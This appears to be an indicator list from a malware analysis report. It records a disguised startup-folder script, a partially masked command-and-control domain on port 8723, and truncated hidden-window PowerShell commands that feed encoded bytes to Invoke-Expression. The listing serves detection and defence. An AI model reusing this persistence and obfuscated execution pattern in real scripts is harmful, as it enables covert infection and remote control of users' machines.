Technical Information
- %APPDATA%\microsoft\windows\start menu\programs\startup\windowssystemupdate.js
- '87####oistzkk.xyz':8723
- http://87#####istzkk.xyz:8723/Vre via 87####oistzkk.xyz
- DNS ASK 87####oistzkk.xyz
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy rEmOtEsIgNeD -Command Invoke-Expression ([System.Text.Encoding]::Default.GetString(@(65,100,100,45,84,121,112,101,32,45,65,115,115,101,109,98,108,121,78,97,109,101,32,83,121,11...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy rEmOtEsIgNeD -Command Invoke-Expression ([System.Text.Encoding]::Default.GetString(@(65,100,100,45,84,121,112,101,32,45,65,115,115,101,109,98,108,121,78,97,109,101,32,83,121,11...